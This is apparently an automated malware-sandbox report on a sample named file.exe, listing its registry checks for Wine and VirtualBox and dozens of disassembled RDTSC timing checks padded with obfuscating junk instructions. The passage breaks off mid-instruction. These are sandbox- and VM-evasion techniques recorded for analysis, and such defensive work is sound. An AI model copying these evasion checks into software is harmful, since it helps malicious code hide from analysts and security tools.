Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643928 second address: 64392C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64392C second address: 643936 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F1F8CBC7206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643936 second address: 643942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F1F8C74D6E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B961 second address: 65B97E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F8CBC7218h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B97E second address: 65B992 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F8C74D6F0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B992 second address: 65B996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B996 second address: 65B9A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007F1F8C74D6ECh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65BDC2 second address: 65BDC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65BDC8 second address: 65BDCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65BDCC second address: 65BDD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65BDD0 second address: 65BDE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1F8C74D6F0h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65BF69 second address: 65BF6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C0C0 second address: 65C0E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1F8C74D6F8h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E97F second address: 65E98A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F1F8CBC7206h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E98A second address: 65E9E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 5DA9D8D1h 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F1F8C74D6E8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 push 00000003h 0x0000002a mov dword ptr [ebp+122D3651h], ecx 0x00000030 push 00000000h 0x00000032 jng 00007F1F8C74D6F0h 0x00000038 jng 00007F1F8C74D6EAh 0x0000003e mov si, C686h 0x00000042 push 00000003h 0x00000044 add dword ptr [ebp+122D1ACDh], ecx 0x0000004a push AD0D6513h 0x0000004f push ebx 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E9E3 second address: 65E9E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E9E7 second address: 65EA65 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 add dword ptr [esp], 12F29AEDh 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F1F8C74D6E8h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 mov ecx, dword ptr [ebp+122D28ECh] 0x0000002e jmp 00007F1F8C74D6F2h 0x00000033 lea ebx, dword ptr [ebp+124507C5h] 0x00000039 push 00000000h 0x0000003b push eax 0x0000003c call 00007F1F8C74D6E8h 0x00000041 pop eax 0x00000042 mov dword ptr [esp+04h], eax 0x00000046 add dword ptr [esp+04h], 00000019h 0x0000004e inc eax 0x0000004f push eax 0x00000050 ret 0x00000051 pop eax 0x00000052 ret 0x00000053 mov cl, C2h 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F1F8C74D6EEh 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65EB4B second address: 65EB6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F1F8CBC7214h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65EB6E second address: 65EB95 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1F8C74D6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007F1F8C74D6F2h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65EB95 second address: 65EBAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1F8CBC7210h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65ED29 second address: 65ED7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 pushad 0x0000000a jmp 00007F1F8C74D6EBh 0x0000000f jmp 00007F1F8C74D6F4h 0x00000014 popad 0x00000015 pop eax 0x00000016 mov edx, ebx 0x00000018 push 00000003h 0x0000001a mov ecx, dword ptr [ebp+122D3050h] 0x00000020 push 00000000h 0x00000022 jnl 00007F1F8C74D6E7h 0x00000028 push 00000003h 0x0000002a clc 0x0000002b call 00007F1F8C74D6E9h 0x00000030 jng 00007F1F8C74D6F0h 0x00000036 push eax 0x00000037 push edx 0x00000038 push edx 0x00000039 pop edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65ED7D second address: 65ED8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65ED8A second address: 65ED8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65ED8E second address: 65ED92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65ED92 second address: 65ED98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65ED98 second address: 65EE37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8CBC7210h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e push esi 0x0000000f jmp 00007F1F8CBC7213h 0x00000014 pop esi 0x00000015 jmp 00007F1F8CBC7216h 0x0000001a popad 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e jmp 00007F1F8CBC720Eh 0x00000023 jmp 00007F1F8CBC7213h 0x00000028 popad 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d jns 00007F1F8CBC7216h 0x00000033 pop eax 0x00000034 mov di, 5428h 0x00000038 lea ebx, dword ptr [ebp+124507D9h] 0x0000003e mov dword ptr [ebp+122D33D5h], ebx 0x00000044 push eax 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 jng 00007F1F8CBC7206h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D0E3 second address: 67D103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F8C74D6F7h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D103 second address: 67D109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D465 second address: 67D46B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D46B second address: 67D48C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F8CBC7218h 0x00000009 popad 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D613 second address: 67D61D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1F8C74D6E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D61D second address: 67D624 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D624 second address: 67D62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D78B second address: 67D79A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F1F8CBC7206h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DB59 second address: 67DB5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DB5D second address: 67DB68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DB68 second address: 67DB6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DB6D second address: 67DB72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DE21 second address: 67DE48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1F8C74D6E6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F1F8C74D6F7h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DE48 second address: 67DE54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F1F8CBC7206h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DFF2 second address: 67DFF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DFF6 second address: 67DFFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E302 second address: 67E306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E306 second address: 67E338 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8CBC720Ah 0x00000007 jmp 00007F1F8CBC720Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F1F8CBC7212h 0x00000014 pushad 0x00000015 popad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6731F8 second address: 6731FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6731FE second address: 67320D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F1F8CBC7206h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67320D second address: 673242 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jno 00007F1F8C74D6E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F1F8C74D6F2h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F1F8C74D6EDh 0x0000001a jns 00007F1F8C74D6E6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673242 second address: 673246 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673246 second address: 67324C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67324C second address: 673268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1F8CBC7212h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673268 second address: 67326C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D8BD second address: 64D8D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F8CBC7216h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D8D8 second address: 64D8EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1F8C74D6EDh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D8EA second address: 64D8F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64D8F2 second address: 64D8F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67EBAC second address: 67EBD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8CBC7212h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a js 00007F1F8CBC7206h 0x00000010 jnc 00007F1F8CBC7206h 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67EBD0 second address: 67EBE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1F8C74D6EAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67EBE0 second address: 67EC06 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1F8CBC7206h 0x00000008 jnl 00007F1F8CBC7206h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1F8CBC7214h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67EC06 second address: 67EC0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67EDAA second address: 67EDB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641DC8 second address: 641DCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641DCC second address: 641DDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F1F8CBC7206h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 641DDA second address: 641DE0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68627E second address: 68629B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jc 00007F1F8CBC7208h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 js 00007F1F8CBC720Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68629B second address: 6862A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnl 00007F1F8C74D6E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686516 second address: 68651A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A44F second address: 64A453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A453 second address: 64A46D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8CBC720Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A46D second address: 64A471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A471 second address: 64A48B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1F8CBC7206h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F1F8CBC7206h 0x00000014 jbe 00007F1F8CBC7206h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689A67 second address: 689A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689BC9 second address: 689BE3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1F8CBC720Eh 0x00000008 jns 00007F1F8CBC7206h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jg 00007F1F8CBC7206h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689BE3 second address: 689C00 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1F8C74D6E6h 0x00000008 jmp 00007F1F8C74D6ECh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689C00 second address: 689C06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689C06 second address: 689C0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689C0E second address: 689C19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F1F8CBC7206h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C2EA second address: 68C2EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C8C3 second address: 68C8EC instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1F8CBC721Eh 0x00000008 jmp 00007F1F8CBC7218h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C8EC second address: 68C909 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8C74D6F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DD45 second address: 68DD4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F1F8CBC7206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DD4F second address: 68DD5E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DD5E second address: 68DD68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F1F8CBC7206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DD68 second address: 68DDE2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1F8C74D6E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d je 00007F1F8C74D6E7h 0x00000013 clc 0x00000014 push 00000000h 0x00000016 sbb edi, 47418EAFh 0x0000001c mov esi, dword ptr [ebp+124561FCh] 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ebp 0x00000027 call 00007F1F8C74D6E8h 0x0000002c pop ebp 0x0000002d mov dword ptr [esp+04h], ebp 0x00000031 add dword ptr [esp+04h], 0000001Ah 0x00000039 inc ebp 0x0000003a push ebp 0x0000003b ret 0x0000003c pop ebp 0x0000003d ret 0x0000003e call 00007F1F8C74D6F6h 0x00000043 jne 00007F1F8C74D6ECh 0x00000049 pop edi 0x0000004a xchg eax, ebx 0x0000004b jnc 00007F1F8C74D6EAh 0x00000051 push eax 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DDE2 second address: 68DDE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68E749 second address: 68E753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F1F8C74D6E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F911 second address: 68F9A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F8CBC7214h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b jmp 00007F1F8CBC720Eh 0x00000010 pop esi 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F1F8CBC7208h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov edi, 235CDE00h 0x00000031 add edi, 02FB59BCh 0x00000037 push 00000000h 0x00000039 or esi, 4E0AEF41h 0x0000003f sbb esi, 7C76DF8Fh 0x00000045 push 00000000h 0x00000047 push 00000000h 0x00000049 push edi 0x0000004a call 00007F1F8CBC7208h 0x0000004f pop edi 0x00000050 mov dword ptr [esp+04h], edi 0x00000054 add dword ptr [esp+04h], 